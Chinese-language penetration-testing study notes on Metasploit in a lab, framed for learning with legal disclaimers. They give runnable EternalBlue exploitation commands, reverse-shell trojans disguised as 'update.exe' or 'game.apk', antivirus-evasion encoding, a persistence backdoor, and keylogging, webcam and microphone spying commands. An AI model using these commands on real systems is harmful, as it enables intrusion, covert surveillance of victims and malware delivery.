网络安全渗透测试学习笔记
📘 一、Metasploit框架核心概念
1.1 MSF是什么?
- 性质:开源渗透测试框架
- 语言:Ruby编写
- 模块化设计:将复杂攻击流程分解为独立模块
- 核心价值:标准化、自动化渗透测试过程
1.2 五大核心模块
| 模块类型 | 功能 | 类比 | 常用命令 |
|---|---|---|---|
| Exploit | 漏洞利用代码 | 破门工具 | use exploit/... |
| Payload | 攻击成功后执行代码 | 进屋后任务 | set PAYLOAD ... |
| Auxiliary | 扫描、嗅探、爆破 | 侦察兵 | use auxiliary/... |
| Encoder | 编码免杀 | 伪装工具 | msfvenom -e ... |
| Post | 后渗透攻击 | 深度控制 | run post/... |
1.3 三大黄金法则
bash
# 法则1:选择模块
use <模块路径>
# 法则2:配置必选项
set <参数> <值>
# 法则3:执行攻击
exploit 或 run
🎯 二、永恒之蓝(MS17-010)实战记录
2.1 攻击环境准备
攻击机:Kali Linux (IP: 192.168.1.50)
靶机:Windows 7未打补丁 (IP: 192.168.1.100)
网络:同一局域网,互相ping通
防火墙:靶机关闭Windows防火墙
2.2 标准化攻击流程
bash
# 步骤1:启动MSF
msfconsole
# 步骤2:搜索模块
search ms17-010
# 步骤3:选择模块
use exploit/windows/smb/ms17_010_eternalblue
# 步骤4:查看配置
show options
# 步骤5:设置参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
# 步骤6:执行攻击
exploit
2.3 攻击流程图解
是
否
启动MSF控制台
搜索永恒之蓝模块
选择攻击模块
配置参数
RHOSTS/LHOST/PAYLOAD
执行exploit
攻击成功?
进入Meterpreter会话
排错检查
1.网络连通性
2.防火墙状态
3.漏洞是否存在
🛠️ 三、Meterpreter后渗透操作速查表
3.1 基本信息收集
| 命令 | 功能 | 示例输出关注点 |
|---|---|---|
sysinfo |
系统信息 | 计算机名、OS版本、架构 |
getuid |
当前用户 | 用户名、权限级别 |
ipconfig |
网络配置 | IP地址、网关、DNS |
ps |
进程列表 | 高权限进程PID |
getprivs |
特权信息 | 查看已获取权限 |
3.2 文件系统操作
bash
# 基础操作
pwd # 查看当前目录
cd C:\\Users # 切换目录
ls # 列出文件
cat secret.txt # 查看文件内容
# 文件传输
upload /path/to/file.exe C:\\Temp\\ # 上传文件
download C:\\important\\file.txt /tmp/ # 下载文件
edit config.ini # 编辑文件
# 搜索文件
search -f *.txt -d C:\\Users # 搜索txt文件
3.3 监控与截取功能
bash
# 屏幕操作
screenshot # 截屏保存到本地
enumdesktops # 列出可用的桌面
getdesktop # 获取当前Meterpreter桌面
# 摄像头控制
webcam_list # 列出摄像头
webcam_snap 1 # 使用第一个摄像头拍照
webcam_stream -p 8080 # 开启视频流服务
# 音频录制
record_mic -d 30 -f /tmp/audio.wav # 录制30秒音频
# 键盘记录
keyscan_start # 开始记录
keyscan_dump # 查看记录内容
keyscan_stop # 停止记录
3.4 权限提升与持久化
bash
# 提权尝试
getsystem # 尝试提权到SYSTEM
getprivs # 查看权限提升结果
# 进程迁移
ps # 查看进程列表
migrate <PID> # 迁移到稳定进程
# 持久化后门
run persistence -X -i 30 -p 443 -r 192.168.1.50
# 参数说明:
# -X: 开机自启
# -i: 重连间隔(秒)
# -p: 监听端口
# -r: 监听IP
3.5 会话管理
bash
background # 当前会话放到后台
sessions -l # 列出所有会话
sessions -i 1 # 进入第1个会话
sessions -k 1 # 结束第1个会话
🎣 四、木马生成与钓鱼攻击
4.1 msfvenom基础语法
bash
msfvenom -p <payload> LHOST=<监听IP> LPORT=<监听端口> -f <格式> -o <输出文件>
4.2 常见木马生成示例
bash
# Windows木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o update.exe
# Linux木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o backup
# Android木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f apk -o game.apk
# Python木马
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o script.py
4.3 免杀技巧(编码)
bash
# 使用编码器绕过杀软
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
# -e: 编码器
# -i: 编码迭代次数
4.4 接收木马连接
bash
# 设置监听器
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false # 保持监听
exploit -j -z # 后台运行
🔧 五、故障排除与优化
5.1 常见问题解决方案
| 问题 | 可能原因 | 解决方案 |
|---|---|---|
| 攻击失败 | 网络不通 | ping 靶机IP 测试连通性 |
| 会话立即断开 | Payload不匹配 | 尝试x86/x64不同版本Payload |
| 无法执行命令 | 权限不足 | 使用getsystem提权 |
| 被防火墙拦截 | 端口被阻 | 更换端口,或使用常用端口(80,443) |
| 杀毒软件报警 | 特征码检测 | 使用编码器,或自定义Payload |
5.2 优化建议
-
网络配置
- 使用桥接模式确保网络互通
- 关闭防火墙进行测试
- 设置静态IP方便连接
-
MSF使用技巧
- 善用Tab键补全
- 使用
help命令查看帮助 - 保存配置:
save - 查看历史:
history
-
隐蔽性提升
- 迁移到稳定系统进程
- 使用bind_tcp替代reverse_tcp
- 设置会话超时时间
5.3 攻击流程图记忆口诀
一搜二选三配置
四设目标五监听
六执行后进会话
七收信息八控制
📚 六、学习路径与资源
6.1 学习阶段规划
| 阶段 | 学习重点 | 实践项目 |
|---|---|---|
| 入门 | MSF基本操作、永恒之蓝漏洞 | 虚拟机环境搭建、基础攻击 |
| 进阶 | Meterpreter高级功能、木马生成 | 后渗透操作、免杀技术 |
| 精通 | 自定义模块、横向移动、权限维持 | 完整渗透测试流程 |
| 专家 | 漏洞分析、EXP编写、免杀对抗 | CTF竞赛、实战项目 |
6.2 推荐学习资源
- 官方文档:Metasploit官方GitHub
- 练习平台 :
- Metasploitable (漏洞练习靶机)
- DVWA (Web漏洞练习)
- VulnHub (各种漏洞环境)
- 在线课程:Offensive Security系列课程
- 认证考试:OSCP认证
6.3 实验室环境配置清单
必备软件:
1. VMware/VirtualBox
2. Kali Linux镜像
3. Windows 7未打补丁镜像
4. Metasploitable靶机镜像
网络配置:
- 攻击机:Kali Linux,NAT或桥接
- 靶机:Windows 7,仅主机或内网
- 确保IP在同一网段
安全注意事项:
- 全部在虚拟机中操作
- 不连接真实网络
- 定期快照备份
⚠️ 七、安全与法律声明
7.1 法律红线
✅ 允许操作:
- 测试自己拥有的设备
- 授权的渗透测试
- 教学研究环境
- CTF竞赛题目
❌ 禁止操作:
- 未经授权攻击他人系统
- 破坏生产环境
- 窃取他人数据
- 传播恶意软件
7.2 道德准则
- 授权原则:只测试拥有权限的系统
- 最小影响:避免对系统造成不必要损害
- 保密原则:不泄露测试中获取的敏感信息
- 报告原则:发现漏洞及时报告给相关人员
7.3 实验室安全规范
1. 物理隔离:测试网络与生产网络完全分离
2. 虚拟机快照:重要操作前创建快照
3. 日志记录:详细记录所有操作步骤
4. 清理痕迹:测试完成后清理创建的后门
5. 工具管理:仅在学习环境中安装渗透工具
📝 八、常用命令速查卡
攻击准备
bash
ifconfig # 查看本机IP
ping 192.168.1.100 # 测试网络连通性
nmap -sS 192.168.1.100 # 扫描目标端口
MSF核心命令
bash
msfconsole # 启动MSF
search ms17-010 # 搜索模块
use exploit/... # 使用模块
show options # 查看配置
set RHOSTS 192.168.1.100 # 设置目标
set PAYLOAD windows/... # 设置载荷
set LHOST 192.168.1.50 # 设置监听IP
exploit # 执行攻击
Meterpreter常用
bash
sysinfo # 系统信息
getuid # 当前用户
shell # 进入系统shell
upload/download # 文件传输
screenshot # 截屏
webcam_snap # 摄像头拍照
keyscan_start # 键盘记录
background # 后台会话
木马相关
bash
msfvenom -p windows/... # 生成木马
use exploit/multi/handler # 设置监听
sessions -l # 查看会话
sessions -i 1 # 进入会话
最后提醒:本笔记内容仅用于合法的安全学习与研究。技术的价值在于防御,请用所学知识保护系统安全,共同构建更安全的网络环境。
笔记更新时间 :2024年1月
适用对象 :网络安全初学者、渗透测试学习者
学习建议:理论+实践结合,每学一个知识点立即在实验环境中验证